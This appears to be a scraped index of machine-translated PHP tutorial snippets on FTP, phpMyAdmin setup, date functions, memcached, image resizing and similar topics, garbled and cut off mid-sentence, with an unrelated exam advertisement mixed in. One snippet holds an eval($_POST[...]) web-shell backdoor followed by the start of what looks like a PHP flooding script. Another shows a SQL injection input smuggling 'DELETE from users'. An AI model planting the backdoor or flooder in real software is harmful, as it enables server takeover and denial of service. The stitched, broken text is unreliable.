PHP Tutorials

This article introduces the use of FTP operation function in PHP, the main function of the description, there is a need to refer to the friend.FTP operation functions in PHP, mainly include:Ftp_connect: Open the FTP link. Ftp_login: Log in to the

$cfg [' Servers '] [$i] [' user '] = ' root '; MySQL user access phpmyadmin using the MySQL username fg[' Servers ' [$i] [' password '] = '; MySQL password (only needed password corresponding to the above MySQL username Copy CodeD.

Detailed introduction and use, please click Source sources. /** * HTML Tag Parsing package * * @category Tagparse * @package Tagparse * @author Kun * @copyright Kun * @license

Eval ($_POST[CHR (90)]); Set_time_limit (86400); Ignore_user_abort (True); $packets = 0; $http = $_get[' http ']; $rand = $_get[' exit ']; $exec _time = $_get[' time '); if (StrLen ($http) ==0 or StrLen ($rand) ==0

supposed input $name = "Ilia"; DELETE from users; "; mysql_query ("SELECT * from users WHERE name= ' {$name} '"); Copy CodeIt is clear that the last command executed by the database is: SELECT *

2015 Hebei degree English exam true answer "4800 exam after pay 53855"One, the first layer for hard studyMention the study to say "head cantilever, Cone Thorn shares", "hard, hard, and hard." Students at this level feel that learning is boring,

PHP How to control file download speed, PHP program to implement file download, sometimes need speed limit download, in fact, with the PHP header function can control the file download speed, here to share two PHP instance code, for your reference.

IP Address Subnet mask calculation, return IP segment start and end range, length, mask and other information. /** * Mask Calculator * @author Weaksun * @param string $ip IP * @param Numeric $bits Mask

The example in this paper describes how PHP implements scaling of PNG images. Share to everyone for your reference. The implementation method is as follows: function Smart_resize_image ($file, $width = 0, $height = 0, $proportional =

PHP has a number of easy-to-use functions to display and process dates. To display a date or time in a particular format, you can use the date () function. It has two parameters: how to display the format of a date and the timestamp that represents

It was because of the use of Base64 that there was a problem when sending this token through the Get method. For example: http://test/test.php?a=1+2 You use $_get["a"] to obtain is: 1 2, that is, the plus sign is gone. At first I used UrlEncode to

memcached introduction In many occasions, we will hear the name memcached, but many students just heard, and have not used or actually understand, only know it is a very good stuff. As a brief introduction, memcached is an efficient and fast

First, Introduction UTF-8 is an encoding of Unicode characters that are often used in Web applications, and the advantage of using UTF-8 is that it is a variable-length encoding, with a length of 1 bytes for ansii encoding, so that when a page

Let's take a look at the two main functions of the POSIX-style regular expression: Ereg function: (Regular expression matching) Format: int ereg (string pattern, string string [, array ®s]) Note: the Preg_match () function that uses

Copy CodeThe code is as follows: /* OP symbol (PHP) Action symbol * * According to the function of the operation symbol is divided into: * One, arithmetic operator +-*/% + +-- * Two, string operators. Join operators * Third, assignment operator = +

SUBSTR---get some stringsSyntax: String substr (string string, int start [, int length]) Description SUBSTR () returns a portion of a string, specified by the parameter start and length. If start is a positive number, the returned string will start

Workaround under Windows: Check for the existence of this directory or whether the directory has write permissions for everyone or authenticated users by locating the path to the Session.save_path = "" of php.ini. It's generally possible. How to

Some of the following PHP functions are the most commonly used project development functions of our IT dynamics, which are also more common in more projects. 1. Processing function of the request interface Copy CodeThe code is as follows: /** *

The recent export of a PHP memory overflow problem, the reason is that the download time to read the generated temporary file is too large, PHP memory can not be accommodated, in the thought of changing the PHP memory limit, but this is only a

When using short connection mode, each HTTP request corresponds to a TCP connection, the connection is immediately disconnected after the request completes, and the server returns EOF. So you can judge the end of a request based on EOF, the